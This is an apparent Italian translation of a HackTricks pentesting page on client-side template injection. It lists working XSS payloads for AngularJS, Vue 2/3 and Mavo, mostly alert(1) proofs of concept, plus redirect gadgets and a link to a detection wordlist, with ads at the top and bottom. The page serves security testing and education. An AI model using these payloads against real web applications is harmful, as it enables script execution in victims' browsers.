hacktricks/pentesting-web/client-side-template-injection-csti.md

8 KiB

Iniezione di Template lato Client (CSTI)

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}


Riassunto

È simile a un Iniezione di Template lato Server ma sul client. Mentre l'SSTI può permetterti di eseguire codice sul server remoto, il CSTI potrebbe permetterti di eseguire codice JavaScript arbitrario nel browser della vittima.

Il testing di questa vulnerabilità è molto simile a quello dell'SSTI, l'interprete si aspetta un template e lo eseguirà. Ad esempio, con un payload come {{ 7-7 }}, se l'applicazione è vulnerabile vedrai un 0, altrimenti vedrai l'originale: {{ 7-7 }}

AngularJS

AngularJS è un framework JavaScript ampiamente utilizzato che interagisce con HTML attraverso attributi noti come direttive, una delle più note è ng-app. Questa direttiva permette ad AngularJS di elaborare il contenuto HTML, consentendo l'esecuzione di espressioni JavaScript all'interno delle doppie parentesi graffe.

Nei casi in cui l'input dell'utente viene inserito dinamicamente nel corpo HTML contrassegnato con ng-app, è possibile eseguire codice JavaScript arbitrario. Questo può essere ottenuto sfruttando la sintassi di AngularJS all'interno dell'input. Di seguito sono riportati esempi che dimostrano come il codice JavaScript può essere eseguito:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Puoi trovare un esempio online molto basico della vulnerabilità in AngularJS in http://jsfiddle.net/2zs2yv7o/ e in Burp Suite Academy

{% hint style="danger" %} Angular 1.6 ha rimosso il sandbox quindi da questa versione un payload come {{constructor.constructor('alert(1)')()}} o <input ng-focus=$event.view.alert('XSS')> dovrebbero funzionare. {% endhint %}

VueJS

Puoi trovare un'implementazione vulnerabile di Vue in https://vue-client-side-template-injection-example.azu.now.sh/
Payload funzionante: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

E il codice sorgente dell'esempio vulnerabile è qui: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un ottimo articolo su CSTI in VUE può essere trovato su https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Controlla più payload VUE in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Più payload in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Elenco di rilevamento Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale è contrastare i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

{% embed url="https://whiteintel.io" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: